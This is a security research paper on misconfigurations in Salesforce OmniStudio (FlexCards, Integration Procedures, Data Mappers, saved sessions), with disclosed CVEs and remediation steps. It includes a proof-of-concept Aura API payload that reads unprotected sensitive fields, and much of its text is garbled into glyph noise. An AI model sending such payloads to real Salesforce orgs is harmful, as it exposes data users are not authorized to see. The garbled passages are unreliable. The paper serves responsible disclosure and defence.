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Introduction  
Salesforce industry cloud s are a suite of Salesforce solutions, each of which enables organizations to build industry -specific 
applications and workflows in a simplified low -code manner. It is the umbrella term that encompasses Financial Services Cloud, 
Health Cloud, Public Sector Solu tions, Communications Cloud, and more. Across all of these clouds, the underlying technologies that 
ΆͅϷʢΒầς˒ʢ̮ầȶΒʢầž̵̮˥ǉςϒʐ˥ͅầǉςȶ̵ʐȶΒʐᵛầΒʢ˃ʢΒΒʢʐầςͅầȶαầᵉž̵̮˥ǉςϒʐ˥ͅᵊầϷ˥ς˒˥̵ầς˒˥αầΆȶΆʢΒᵛầȶ̵ʐầȃ̑ͅʄ˥ςЅᵜầǗ˒ʢαʢầςϷͅầςʢʄ˒̵̑ͅͅˈ˥ʢαầȶΒʢầ
remarkably similar in that their feature sets are highly consistent with one another . Their implementation , however,  heavily differs.  
 
Vlocity was an organization that was acquired by Salesforce in 2020, that built third -party Salesforce solutions for various industries, 
ς˒ʢầͅΒ˥ˈ˥̵ȶ̑ầᵉindustry clouds . They delivered them to customers through packages, so their solutions were non -native and relied on 
custom components in order to provide their functionality. Because of the limitations of non -native solutions, primarily with respect to 
interoperability with core platform features, Salesforce expanded on the work done by Vlocity . It introduced industry clouds  powered 
ɽЅầž̵̮˥ǉςϒʐ˥ͅᵜầßͅϷʢϳʢΒᵛầϷ˒˥̑ʢầǉȶ̑ʢα˃ͅΒʄʢᵊαầʢЀΆȶ̵α˥̵ͅầͅ˃ầȃ̑ͅʄ˥ςЅᵊαầͅ˃˃ʢΒ˥̵ˈαầ˥̵ςͅầž̵̮˥ǉςϒʐ˥ͅ-powered industry clouds brought many 
˥̮ΆΒͅϳʢ̮ʢ̵ςαᵛầ˥ςầȶ̑ᾳầΒʢςȶ˥̵ʢʐầȃ̑ͅʄ˥ςЅᵊαầΆͅςʢ̵ς˥ȶ̑ầ˃ͅΒầ˥̵αʢʄϒΒʢầ˥̮Ά̑ʢ̮ʢ̵ςȶς˥̵ͅầ˃Β̮ͅầȶầαʢʄϒΒ˥ςЅầΆʢΒαΆʢʄς˥ϳʢᵜầ 
 
Like any low -code SaaS solution, the ease of use of these technologies can lure organizations into a false sense of security when they 
are configuring and building applications. This commonly results in misconfigurations, which can introduce varying degree s of risks to 
ȶ̵ầͅΒˈȶ̵˥Мȶς˥̵ͅᵊαầͅϳʢΒȶ̑̑ầǉȶ̑ʢα˃ͅΒʄʢầαʢʄϒΒ˥ςЅầΆͅαςϒΒʢᵜầǗ˒˥αầΆȶΆʢΒầαʢʢ̉αầςͅầ˒˥ˈ˒̑˥ˈ˒ςầς˒ʢαʢầΒ˥α̉αᵛầς˒ʢ˥Βầʄ̵ͅαʢΎϒʢ̵ʄʢαᵛầȶ̵ʐầ
recommendations on how to mitigate them. And although this research focuses specifically on OmniStudio , many of the same  risks 
exist in Vlocity due to the overlap in their feature sets. This research is targeted specifically at individuals who are alre ady familiar 
with the Salesforce platform and its key concepts. Additionally, while a basic and brief explanation of the cor e OmniStudio 
components will be provided here, it is recommended that readers already be familiar with them.  
 

1. General Understanding  

1.1 Apex 

Each section within this paper provides a proof -of -concept (PoC) which demonstrates, at a technical level, how an attack may be 
conducted. To do so, at least one Apex class method is required to be used. The purpose of this section is to very briefly ex plain how 
OmniStudio -specific Apex permissioning works.  
 
OmniStudio is unique because many of its components, like its objects, are built into the core Salesforce platform, and in so me cases 
still relying to some extent on a separate Managed Package. Because of this duality, the Apex used by OmniStudio exists in  two 
̵ȶ̮ʢαΆȶʄʢαᵜầǗ˒ʢầ˃˥Βαςầ˥αầς˒ʢầᵉ̵̮ͅ˥αςϒʐ˥ͅʄͅΒʢᵊầ̵ȶ̮ʢαΆȶʄʢầϷ˒˥ʄ˒ầʢЀ˥αςαầȶαầΆȶΒςầͅ˃ầς˒ʢầΆ̑ȶς˃ͅΒ̮ầ˥ςαʢ̑˃ᵛầȶ̵ʐầς˒ʢầαʢʄ̵ͅʐầ˥αầς˒ʢầᵉ̵̮ͅ˥αςϒʐ˥ͅᵊầ
namespace which is associated with the Managed package.  
 
Ǘ˒ʢầ ΆʢЀầϷ˥ς˒˥̵ầς˒ʢầᵉ̵̮ͅ˥αςϒʐ˥ͅʄͅΒʢᵊầ̵ȶ̮ʢαΆȶʄʢầ˥αầͅ˃ầ˒˥ˈ˒ʢΒầ˥̮ΆͅΒςȶ̵ʄʢầɽʢʄȶϒαʢầͅ˃ầς˒ʢầ̵ȶςϒΒʢầͅ˃ầς˒˥αầΆȶΆʢΒᵜầǗ˒ʢầΒʢȶᾳ̵ầ˃ͅΒầς˒is is 
because it provides all of the core API functionality required to interact with OmniStudio components, yet is entirely hidden  from the 
ʢ̵ʐầϒαʢΒᵜầũͅςầȶầα˥̵ˈ̑ʢầ ΆʢЀầʄ̑ȶααầς˒ȶςầʢЀ˥αςαầϷ˥ς˒˥̵ầς˒˥αầ̵ȶ̮ʢαΆȶʄʢầʄȶ̵ầɽʢầαʢʢ̵ầϷ˥ς˒˥̵ầς˒ʢầᵉ ΆʢЀầf̑ȶααᵊầαʢʄς˥̵ͅầͅ˃ầς˒ʢầǣăᵛầȶ̵d I only 
confirmed its existence while monitoring API interactions with OmniStudio components. After thorough testing, it  appears that the 
ΆʢЀầϷ˥ς˒˥̵ầς˒˥αầ̵ȶ̮ʢαΆȶʄʢầ˥̵ςʢΒ̵ȶ̑̑Ѕầʄȶ̑̑αầς˒ʢầʢΎϒ˥ϳȶ̑ʢ̵ςầ ΆʢЀầϷ˥ς˒˥̵ầς˒ʢầᵉ̵̮ͅ˥αςϒʐ˥ͅᵊầšȶ̵ȶˈʢʐầƴȶʄ̉ȶˈʢᵜầǗ˒ʢầΒʢȶᾳ̵ầς˒˥αầ˥αầ

important is that while it may appear that a user does not have access to any OmniStudio -Βʢ̑ȶςʢʐầ ΆʢЀầϷ˥ς˒˥̵ầς˒ʢầᵉ ΆʢЀầf̑ȶααầ
ʄʄʢααᵊầαʢʄς˥̵ͅầͅ˃ầς˒ʢ˥ΒầƴΒͅ˃˥̑ʢầͅΒầƴʢΒ̮˥αα˥̵ͅầǉʢςᴛαᴜᵛầ˥̵ầΒʢȶ̑˥ςЅầς˒ʢЅầ̮ȶЅầ˒ȶϳʢầȶʄʄʢααầςͅầς˒ʢ̮. In fact, access is granted through the 
ǉЅαςʢ̮ầƴʢΒ̮˥αα˥̵ͅầᵉ|̵ȶɽ̑ʢαầʄ̵ͅαϒ̮ʢΒαầȶ̵ʐầΆȶΒς̵ʢΒαầςͅầʢЀʢʄϒςʢầž̵̮˥ǉʄΒ˥ΆςαᵛầqƼαᵛầfȶΒʐαầς˒Βͅϒˈ˒ầȶầf̮̮ͅϒ̵˥ςЅầͅΒầͅ˃˃ầΆ̑ȶς˃ͅΒ̮ᵊᵜ 
 
ßͅϷʢϳʢΒᵛầς˒ʢΒʢầȶΒʢầȶầ̵ϒ̮ɽʢΒầͅ˃ầ ΆʢЀầʄ̑ȶααʢαầϷ˥ς˒˥̵ầς˒ʢầᵉ̵̮ͅ˥αςϒʐ˥ͅᵊầΆȶʄ̉ȶˈʢầς˒ȶςầǉȶ̑ʢα˃ͅΒʄʢầrecommend s be assigned to both 
Community Site and Standard User profiles. This is regardless of the fact that they are seemingly not required to execute man y 
ž̵̮˥ǉςϒʐ˥ͅầʄ̮ͅΆ̵ͅʢ̵ςαᵜầă̵ầʄ̵ͅςΒȶαςầςͅầᵉ̵̮ͅ˥αςϒʐ˥ͅʄͅΒʢᵊᵛầᵉ̵̮ͅ˥αςϒʐ˥ͅᵊầʄ̑ȶααʢαầȶΒʢầϳ˥α˥ɽ̑ʢầϷ˥ς˒˥̵ầς˒ʢầͅΒˈȶ̵˥Мȶςion. The takeaway here is 
that while an individual may not have access to the Apex in one namespace, having access to equivalent classes within the other 
namespace may allow them to interact with OmniStudio components.  

1.2 FlexCards  

FlexCards  are a lightweight means for an organization to fetch data and display data to users in a single view. This is mostly done in 
either a  standalone fashion by having their UI component directly embedded in a Digital Experience, or included as part of a greater  
workflow. While not able to facilitate data transformations or back -end logic, they make up for this with their ability to retrieve data 
using 8 different methods (also known as datasources ). The most popular of which appear to be SOQL, SOSL, and .  This relatively 
one-dimensional functionality makes them potentially the easiest OmniStudio  component to create and configure, but as this research 
will show, they have a rather unique set of security concerns which are only exacerbated by their simple setup.  
 

https://help.salesforce.com/s/articleView?id=xcloud.os_omnistudio_flexcards_24388.htm&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_configure_a_data_source_on_a_flexcard_35864.htm&type=5
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The FlexCard designer  

 
 

1.3 Integration Procedures  
Integration Procedures  (IProcs) are the end -all of server -side data processing within OmniStudio. While it is OmniScripts which 
provide the overall workflow experience to the end user, it is often IProcs that orchestrate the complex operations occurring  in the 
back -end under th ʢầ˒ͅͅʐᵜầǗ˒˥αầ˥αầɽʢʄȶϒαʢầͅ˃ầς˒ʢầϳȶαςầαʢ̑ʢʄς˥̵ͅầͅ˃ầᵉactionsᵊầς˒ȶςầς˒ʢЅầʄȶ̵ầΆʢΒ˃ͅΒ̮ᵛầʄ˒ȶ˥̵˥̵ˈầς˒ʢ̮ầςͅˈʢς˒ʢΒầȶαầ̵ʢʢʐʢʐầ
in a single process. From executing Apex and calling external API endpoints, to reusing existing Data Mappers or handling log ic for a 
Flexcard, their server -side use -cases are endless. It is their c apability to execute these powerful OmniStudio actions alongside their 
interoperability with aspects of the core platform such as Named Credentials and the Platform Cache which make them interesti ng 
from a security perspective. And when it comes to securit ЅᵛầϷʢầ̵̉ͅϷầς˒ȶςầ˥ςᵊαầς˒ʢầαʢΒϳʢΒ-side that is the breeding ground for potential 
misconfigurations and vulnerabilities, which is why IProcs are a crucial inclusion to this paper.  
 

 

An example IProc  

 
 

  

https://help.salesforce.com/s/articleView?id=sf.os_omnistudio_integration_procedures_48334.htm&language=en_US&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_integration_procedure_actions_50165.htm&type=5
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1.4 Data Mappers  

Data Mappers  are one of the most commonly used actions within IProcs while also being available as an option for a FlexCard 
datasource. Their most common use cases consist of reading data from Salesforce objects, often taking user input for filterin g, and 
also to tran sform or prepare data into various formats, such as JSON, which may be required by external APIs. However , they can 
also perform the inverse of this, transforming externally received data which it receives as input and converting it to a Sal esforce 
ͅɽ́ʢʄςᵊαầΒʢΎϒ˥Βʢʐầ˃ͅΒ̮ȶςᵜầǗ˒ʢầ̮ȶ̵̵ʢΒầͅ˃ầͅΆʢΒȶς˥̵ͅầς˒ȶςầς˒ʢầqȶςȶầšȶΆΆʢΒầα˒ͅϒ̑ʐầ˃ϒ̑˃˥̑̑ầ˥αầʐʢ˃˥̵ʢʐầȶςầʄΒʢȶς˥̵ͅầς˥̮ʢ, when the creator 
selects one of the following four Data Mapper types  to choose from:  
 
ǒ Extract: Read data from a Salesforce object and output JSON or XML  
ǒ Turbo Extract: Read data from a single Salesforce object with support for related object fields  
ǒ Load: Update Salesforce data from input  
ǒ Transform: Does not read or write data, but can be used to alter the shape of the data.  

 

 

A Data Mapper configured to extract User sObject data, filtering on  
ς˒ʢầᵉăα ʄς˥ϳʢᵊầ˃˥ʢ̑ʐầɽȶαʢʐầ̵ͅầς˒ʢầᵉȶʄς˥ϳʢᵊầϒαʢΒầ˥̵Άϒςầϳȶ̑ϒʢ 

 

1.5 OmniScripts & OmniScript Saved Sessions  

For the purposes of this paper, OmniScripts  themselves only receive an honorary mention. They effectively serve as a container, a 
workflow which can be used to bring all of these prior mentioned components together. However , these components can be 
executed individually and have their misconfigurations taken advantage of regardless.  
 
That being said, OmniScript Saved Sessions  are a feature unique to OmniScripts that can have dire implications for data security if 
access controls are overly permissive. These Saved Sessions allow for users to save their progress in an OmniScript, either m anually 
or automatically, and permit them  to resume where they left off by navigating to a link unique to their session. This means that data 
entered into forms, and results returned by OmniStudio components to the OmniScript, are stored within a Salesforce object an d can 
be later fetched to popu ̑ȶςʢầς˒ʢầᵉΒʢαϒ̮ʢʐᵊầαʢαα˥̵ͅᵜầÇϒΒς˒ʢΒầ̵ͅầ˥̵ầ, I will demonstrate how overly permissive Sharing Rules for this 
ͅɽ́ʢʄςầʄȶ̵ầ̑ʢȶʐầςͅầʐȶςȶầʢЀΆͅαϒΒʢᵛầȶ̵ʐầα˒ͅϷʄȶαʢầȶầ̵˥˃ςЅầᵉǉʢαα˥̵ͅầÇ˥Ѐȶς˥̵ͅᵊ-style attack that can trick users into handing over their data 
ςͅầȶ̵ầȶςςȶʄ̉ʢΒᵊαầǉȶϳʢʐầǉʢαα˥̵ͅᵜầ 
 

 

How an OmniScript Saved Session is created  

https://help.salesforce.com/s/articleView?id=sf.os_omnistudio_dataraptors_45587.htm&language=en_US&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_dataraptors.htm&type=5
https://help.salesforce.com/s/articleView?id=sf.os_omniscripts.htm&language=en_US&type=5
https://help.salesforce.com/s/articleView?id=sf.os_save_and_resume_an_omniscript_9465.htm&language=en_US&type=5


6 

   Salesforce industry cloud s 
: Low -Code, High Stakes  
 

 

 

How an OmniScript Saved Session is resumed  

1.6 Data Packs  

Ǘͅầȶ̑̑ͅϷầ˃ͅΒầʢȶαЅầ̮˥ˈΒȶς˥̵ͅầͅ˃ầž̵̮˥ǉςϒʐ˥ͅầʄ̮ͅΆ̵ͅʢ̵ςαầ˃Β̮ͅầ̵ͅʢầǉȶ̑ʢα˃ͅΒʄʢầ˥̵αςȶ̵ʄʢầςͅầȶ̵ͅς˒ʢΒᵛầͅΒˈȶ̵˥Мȶς˥̵ͅαầ̮ȶЅầʄΒʢȶςʢầᵉqȶςȶầ
ƴȶʄ̉αᵊầϷ˒˥ʄ˒ầȶΒʢầʢααʢ̵ς˥ȶ̑̑ЅầȶầΆȶʄ̉ȶˈʢʐầϳʢΒα˥̵ͅầͅ˃ầς˒ʢầʄ̮ͅΆ̵ͅʢ̵ςầς˒ȶςầ̮ȶЅầɽʢầʢȶα˥̑ЅầʢЀΆͅΒςʢʐầ˃Β̮ͅầς˒ʢầᾳϒΒʄʢầ˥̵αςȶ̵ʄʢầȶ̵ʐầ
imported to the destination instance. Once a component is selected for export, a record is created within the Data Pack object which 
ʄ̵ͅςȶ˥̵αầς˒ʢầ̮ʢςȶʐȶςȶầȶ̵ʐầʐȶςȶầͅ˃ầς˒ʢầʢ̵ς˥Βʢầž̵̮˥ǉςϒʐ˥ͅầʄ̮ͅΆ̵ͅʢ̵ςᴛαᴜᵜầǉ˥̵ʄʢầς˒ʢαʢầΒʢʄͅΒʐαầʄ̵ͅςȶ˥̵ầς˒ʢầʢ̵ς˥Βʢầʄ̮ͅΆ̵ͅʢ̵ςᵊαầʐȶςȶ, the 
existence of a Data Pack can lead to concerns around which individuals may access them. The same concerns apply to imported Da ta 
ƴȶʄ̉αᵛầϷ˒˥ʄ˒ầΆʢΒα˥αςầʢϳʢ̵ầȶ˃ςʢΒầς˒ʢầʄ̮ͅΆ̵ͅʢ̵ςᴛαᴜầς˒ʢЅầ˒ȶϳʢầɽʢʢ̵ầʄΒʢȶςʢʐầ˥̵ầς˒ʢầʐʢας˥̵ȶς˥̵ͅầͅΒˈᵜầšЅầȶ̵ȶ̑Ѕα˥αầͅ˃ầς˒˥αầ˃ʢȶςϒΒʢᵊα usage 
has shown that users are sometimes provisioned with excessive permissions, allowing them to read Data Packs belonging to 
components which they are not normally authorized to access directly, such as Integration Procedures.  
 

 

A simplified depiction of the import/export process of OmniStudio components using Data Packs  

 

1.7 OmniOut  

The OmniOut  feature allows for the generation of web components from OmniScripts and FlexCards, so that they may be embedded 
into external non -Salesforce cloud applications or CMS. This effectively allows OmniStudio components to be used anywhere. This 
cross -platform  functionality is powered by Salesforce APIs, authenticated via OAuth 2.0, to read, create, and store data. And as with 
any OAuth -based integration, organizations must be meticulous in their approach to securely implement OmniOut in order to minimize 
secur ity risks that may arise from poor permission management and the storage of sensitive credentials outside of the platform.  

https://help.salesforce.com/s/articleView?id=sf.os_omniout.htm&language=en_US&type=5
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2. Understanding the Proof of Concepts  
For every security concern discussed in this paper, I provide a technical proof -of -concept (PoC) as both a means of evidence for the 
behaviors observed and also for educational purposes. These PoCs often require some specific initial configuration and setu p, 
ʐʢςȶ˥̑ʢʐầ˥̵ầʢȶʄ˒ầᵉǉʢςς˥̵ˈầǣΆᵊầαϒɽαʢʄς˥̵ͅầςͅầ˃ϒ̑̑Ѕầʐʢ̵̮ͅαςΒȶςʢầς˒ʢầ˥ααϒʢầʐ˥αʄϒααʢʐᵜầǗ˒ȶςầɽʢ˥̵ˈầαȶ˥ʐᵛầ̮ͅαςầͅ˃ầς˒ʢαʢầαϒɽαʢʄς˥̵ͅα share 
some configurations in common. To avoid repetition, I would like to establish what these commonalities are now so that th ey can be 
assumed throughout unless otherwise stated  in those subsections.  
 

1. A publicly accessible Digital Experience was created in order to  establish both unauthenticated and authenticated sessions to 
the Aura API, which is the API used for each payload that will be demonstrated.   

2. The Guest User of this Digital Experience was created with the permissions outlined in the official Salesforce documentation  
for OmniStudio Guest users.   

3. The out -of - the -ɽͅЀầᴛžž^ᴜầᵉfϒας̮ͅʢΒầf̮̮ͅϒ̵˥ςЅầǣαʢΒᵊầƴΒͅ˃˥̑ʢầϷȶαầʄ̵̑ͅʢʐầȶ̵ʐầʄ̵ͅ˃˥ˈϒΒʢʐầϷ˥ς˒ầς˒ʢầΆʢΒ̮˥αα˥̵ͅαầͅϒς̑˥̵ʢʐầ˥̵ầς˒ʢầ
official Salesforce documentation  for Digital Experience Site users.  

3. Terminology  
OS CC Profile -  Ƽʢ˃ʢΒαầςͅầς˒ʢầʄ̵̑ͅʢʐầᵉfϒας̮ͅʢΒầf̮̮ͅϒ̵˥ςЅầǣαʢΒᵊầƴΒͅ˃˥̑ʢầς˒ȶςầϷȶαầʄ̵ͅ˃˥ˈϒΒʢʐầϷ˥ς˒ầς˒ʢầΒʢʄ̮̮ͅʢ̵ʐʢʐầž̵̮˥ǉςϒʐ˥ͅầ
permissions, as mentioned in .  
 
EOWD -  External OWD Sharing Rules  
 

4. Vulnerabilities (CVEs)  
As part of this research process, I continuously communicated all findings to Salesforce, who AppOmni has a strong relationship with. 
While the primary objective of this research was to educate Salesforce customers to common   security pitfalls within industry clouds 
made through misconfiguration of security controls or OmniStudio components themselves, five  issues I had identified were 
ʄ̵ͅα˥ʐʢΒʢʐầɽЅầǉȶ̑ʢα˃ͅΒʄʢầςͅầɽʢầᵉϳϒ̵̑ʢΒȶɽ˥̑˥ς˥ʢαᵊầ˥̵ầits ᾳ˃ςϷȶΒʢầȶαầͅΆΆͅαʢʐầςͅầᵉ̮˥αʄ̵ͅ˃˥ˈϒΒȶς˥̵ͅαᵊᵜầ|ȶʄ˒ầͅ˃ầϷ˒˥ʄ˒ầϷʢΒʢầȶςςΒ˥ɽϒςʢʐầfȃ|αᵜ 
 
Once remediated, Salesforce sent an email communication to its customers, on May  19, 2025, informing them of the vulnerabilities 
and attributing myself and AppOmni as the finder.  
 

 

A snippet of the Salesforce communication to customers regarding my findings  

 
 
Three of these issues have been entirely fixed, requiring no customer action. For historical reasons, I have kept their respe ctive 
sections in this paper. Keep in mind that the attacks within these three sections are no longer possible , but may still be of interest 
to security practitioners. These sections are:  
 
 
 
 

https://help.salesforce.com/s/articleView?id=xcloud.os_grant_digital_experience_guest_users_omnistudio_access_7519.htm&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_setup_omnistudio_standard_permission_sets_for_experience_users_7169.htm&type=5
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CVE Identifier  Section  

CVE-2025-4399 Section 5.3.2 - LƴǎǳŦŦƛŎƛŜƴǘ tŜǊƳƛǎǎƛƻƴ ±ŀƭƛŘŀǘƛƻƴ ōȅ ΨwŜǉǳƛǊŜŘ tŜǊƳƛǎǎƛƻƴΩ CƛŜƭŘ 

CVE-2025-43700 Section 5.3.3 - Bypassing Classic Encryption Access Controls using SOQL 

CVE-2025-43701 Section 5.3.4 - Guest User Can View Custom Settings via SOQL 

 
 
The other two vulnerabilities were tackled through the introduction of a customer -controllable security setting, therefore requiring 
customers to take measures to keep themselves secure . And both of their sections have since had their Remediation  subsections 
updated to reflect these new controls. These sections are:  
 

CVE Identifier  Section  

CVE-2025 -43697  Section 5.1.1 -  Lack of Field -Level Security (FLS) Enforcement by Default  
Section 5.1.2 -  Bypassing Classic Encryption Access Controls  

CVE-2025 -43698  Section 5.4.1 -  Lack of FLS Enforcement for SOQL Data Source  
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5. Security Issue  

5.1 Data Mappers  

5.1.1 Lack of Field -Level Security (FLS) Enforcement by Default (CVE -2025 -43697)  

Overview  

The primary concern with respect to Data Mappers is that FLS is opt - in; it is not enabled by default when a Data Mapper of type 
EextractᵊầͅΒầᵉTurbo Extract ᵊầ˥αầʄΒʢȶςʢʐᵜầǗ˒˥αầʄȶ̵ầɽʢầαʢʢ̵ầϷ˥ς˒˥̵ầȶầqȶςȶầšȶΆΆʢΒᵊαầᵉžΆς˥̵ͅαᵊầαʢʄς˥̵ͅᵛầϷ˒ʢΒʢầς˒ʢầᵉf˒ʢʄ̉ầÇ˥ʢ̑ʐầŖʢϳʢ̑ầǉʢʄϒΒ˥ςЅᵊầ
option is not automatically selected. This means that users who have the ability to execute this Data Mapper may be able to read field 
values that they are normally unauthorized to . 

Practical Demonstration  

Setting Up  

ǒ ̵ầᵉ|ЀςΒȶʄςᵊầqȶςȶầšȶΆΆʢΒầᵉËʢςǉʢ̵α˥ς˥ϳʢȃȶ̑ϒʢαᵊầϷȶαầʄΒʢȶςʢʐầϷ˥ς˒ầ̵ͅầÇŖǉầʢ̵˃ͅΒʄʢʐᵛầȶ̵ʐầΒʢςϒΒ̵αầς˒ʢầϳȶ̑ϒʢầͅ˃ầς˒ʢầᵉǉʢ̵α˥ς˥ϳʢᶉᶉʄᵊầ
˃˥ʢ̑ʐầͅ˃ầᵉ|Ѐȶ̮Ά̑ʢᶉᶉʄᵊᵛầϷ˒˥ʄ˒ầ˥αầȶầfϒας̮ͅầžɽ́ʢʄςᵜầ 

ǒ Ǘ˒ʢầᵉ|Ѐȶ̮Ά̑ʢᶉᶉʄᵊầͅɽ́ʢʄςầϷȶαầȶ̑ᾳầʄ̵ͅ˃˥ˈϒΒʢʐầςͅầ˒ȶϳʢầΆϒɽ̑˥ʄ- read for its EOWD, and the OS CC Profile was given read access to 
the object ɽϒςầ̵ͅςầςͅầς˒ʢầᵉǉʢ̵α˥ς˥ϳʢᶉᶉʄᵊầ˃˥ʢ̑ʐ. 

Proof - of - Concept  

ầαʢαα˥̵ͅầϷȶαầʢαςȶɽ̑˥α˒ʢʐầ˃ͅΒầȶầϒαʢΒầϷ˥ς˒ầς˒ʢầžǉầffầƴΒͅ˃˥̑ʢầ̵ͅầȶầq˥ˈ˥ςȶ̑ầ|ЀΆʢΒ˥ʢ̵ʄʢᵜầǣα˥̵ˈầς˒˥αầαʢαα˥̵ͅᵛầς˒ʢầ˃̑̑ͅͅϷ˥̵ˈầᵉ̮ʢααȶˈʢᵊầ
parameter payload was sent to the Aura API which executes the Data Mapper directly.  
{  

  "actions": [  

    {  

      "id": "16;a",  

      "descriptor": "aura://ApexActionController/ACTION$execute",  

      "callingDescriptor": "UNKNOWN",  

      "params": {  

        "namespace": "omnistudiocore",  

        "classname": "BusinessProcessDisplayController",  

        "method": "GenericInvoke2NoCont",  

        "params": {  

          "input": "{ \ "Bundle \ ": \ "GetSensitiveValues \ ", \ "DRParams\ ":{}}",  

          "options": 

"{ \ "useQueueableApexRemoting \ ":false, \ "ignoreCache \ ":false, \ "vlcClass \ ": \ "omnistudio.DefaultDROmniScriptIntegration \ ", \ "useCon

tinuation \ ":false}",  

          "sClassName": "omnistudiocore.DefaultDROmniScriptIntegration",  

          "sMethodName": "invokeOutboundDR"  

        },  

        "cacheable": false,  

        "isContinuation": false  

      }  

    }  

  ]  

}  

 
ă̵ầς˒ʢầȶɽͅϳʢầΆȶЅ̑ͅȶʐᵛầς˒ʢầ̵ȶ̮ʢầͅ˃ầς˒ʢầqȶςȶầšȶΆΆʢΒᵛầᵉËʢςǉʢ̵α˥ς˥ϳʢȃȶ̑ϒʢαᵊᵛầϷȶαầΆΒͅϳ˥ʐʢʐầςͅầς˒ʢầᵉ^ϒ̵ʐ̑ʢᵊầΆȶΒȶ̮ʢςʢΒầͅ˃ầς˒ʢầᵉ˥̵Άϒςᵊầͅɽ́ʢʄςᵜầ
ă̵ầς˒˥αầαʄʢ̵ȶΒ˥ͅᵛầς˒ʢầqȶςȶầšȶΆΆʢΒầʐͅʢαầ̵ͅςầΒʢΎϒ˥Βʢầ̵ͅΒầʢЀΆʢʄςầϒαʢΒầ˥̵Άϒςᵜầ^ϒςầ˥˃ầ˥ςầ˒ȶʐᵛầ˥ςầʄͅϒ̑ʐᵊϳʢầɽʢʢ̵ầΆΒͅϳ˥ʐʢʐầȶαầΆȶΒt of the 
ᵉqƼƴȶΒȶ̮αᵊầͅɽ́ʢʄςầϒα˥̵ˈầΆȶΒȶ̮ʢςʢΒầϳȶ̑ϒʢầΆȶ˥Βαầς˒ȶςầ˒ȶϳʢầɽʢʢ̵ầʐͅϒɽ̑ʢ-quote escaped.  
 
ž̵ʄʢầʢЀʢʄϒςʢʐᵛầς˒ʢầϳȶ̑ϒʢầͅ˃ầᵉǉʢ̵α˥ς˥ϳʢÇ˥ʢ̑ʐᶉᶉʄᵊầϷȶαầΒʢςϒΒ̵ʢʐầςͅầς˒ʢầϒαʢΒᵜ 

 

Risk 

Without FLS being enforced, users may be able to access information through a Data Mapper that they are not normally authoriz ed to 
see. Furthermore, non -Guest users have the ability to determine which Data Mappers do not enforce FLS by querying its 
corresp̵ͅʐ˥̵ˈầͅɽ́ʢʄςᵛầϒα˥̵ˈầ ΆʢЀầς˒ȶςầȶ̑̑ͅϷαầ˃ͅΒầς˒ʢầΒʢȶʐ˥̵ˈầͅ˃ầΒʢʄͅΒʐầϳȶ̑ϒʢαầαϒʄ˒ầȶαầᵉSelectableListDataProviderController ᵊᵜầǗ˒˥αầȶ̑̑ͅϷαầ
targeted attacks on Data Mappers that specifically do not implement the FLS authorization checks.  
 

https://help.salesforce.com/s/articleView?id=sf.os_dataraptor_extract_overview_45843.htm&language=en_US&type=5
https://help.salesforce.com/s/articleView?id=sf.os_dataraptor_turbo_extract_overview_45624.htm&language=en_US&type=5
https://www.enumerated.ie/index/salesforce
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Recommendations  

Data Mappers may either have FLS enabled organization -Ϸ˥ʐʢầ˃ͅΒầȶ̑̑ầᵉ|ЀςΒȶʄςᵊầȶ̵ʐầᵉǗϒΒɽͅầ|ЀςΒȶʄςᵊầȶʄς˥̵ͅαᵛầͅΒầς˒ʢЅầ̮ȶЅầɽʢầʄ̵ͅ˃˥ˈϒΒʢʐầ
individually to enforce this security control.  
 
To enforce FLS for all Data Mappers * organization -wide:  

1. From Setup , enter Omni Interaction Configuration  and select Feature Settings > Omni Interaction > Omni Interaction 
Configuration . 

2. Select New Omni Interaction Configuration . 
3. For Name  and Label , enter EnforceDMFLSAndDataEncryption . For the Value  field, enter true . 

 
*As will be pointed out in the next section, the enablement of this setting will ensure that any data encrypted with Classic Encryption 
Ϸ˥̑̑ầ̵ͅςầɽʢầΒʢςϒΒ̵ʢʐầςͅầϒαʢΒαầ˥̵ầΆ̑ȶ˥̵ςʢЀςầ˥˃ầς˒ʢЅầʐͅầ̵ͅςầΆͅααʢααầς˒ʢầᵉȃ˥ʢϷầ|̵ʄΒЅΆςʢʐầqȶςȶᵊầΆʢΒ̮˥αα˥̵ͅ 
 
To enforce FLS for a single Data Mapper:  

1. From Service Setup , select the App Launcher  and search for OmniStudio Data Mappers . Select OmniStudio Data Mappers . 
2. Select the offending Data Mapper and choose the latest version.  
3. Navigate to the Options  tab. Ensure Check Field Level Security  is selected..  

 
After making these changes, users without access to the field being returned will no longer be able to see its values:  

 
 

5.1.2 Bypassing Classic Encryption Access Controls ( CVE-2025 -43697 ) 

Overview  

^ͅς˒ầᵉ|ЀςΒȶʄςᵊầȶ̵ʐầᵉǗϒΒɽͅầ|ЀςΒȶʄςᵊầqȶςȶầ̮ȶΆΆʢΒαầϷ˥̑̑ầʐʢʄΒЅΆςầ˃˥ʢ̑ʐαầς˒ȶςầς˒ʢЅầͅϒςΆϒςầϷ˒˥ʄ˒ầϒαʢầf̑ȶαα˥ʄầ|̵ʄΒЅΆς˥̵ͅᵛầȶ̵ʐầαϒɽαʢΎuently 
ͅϒςΆϒςầς˒ʢ˥Βầϳȶ̑ϒʢαầ˥̵ầʄ̑ʢȶΒςʢЀςầϷ˥ς˒ͅϒςầΒʢΎϒ˥Β˥̵ˈầς˒ʢầʄȶ̑̑˥̵ˈầϒαʢΒầςͅầ˒ȶϳʢầς˒ʢầᵉȃ˥ʢϷầ|̵ʄΒЅΆςʢʐầqȶςȶᵊầΆʢΒ̮˥αα˥̵ͅᵜầǗ˒˥αầʄ˥Βʄϒmvention of 
native access controls is also their default behavior.  

Practical Demonstration  

Setting Up  

ǒ ầfϒας̮ͅầžɽ́ʢʄςᵛầᵉ|̵ʄΒЅΆςʢʐžɽ́ʢʄςᶉᶉʄᵊầϷȶαầʄΒʢȶςʢʐầϷ˥ς˒ầȶầ˃˥ʢ̑ʐầᵉf̑ȶαα˥ʄ|̵ʄΒЅΆςʢʐÇ˥ʢ̑ʐᶉᶉʄᵊầϷ˒˥ʄ˒ầ˒ȶαầf̑ȶαα˥ʄầ|̵ʄΒЅΆς˥̵ͅầ
enabled.  

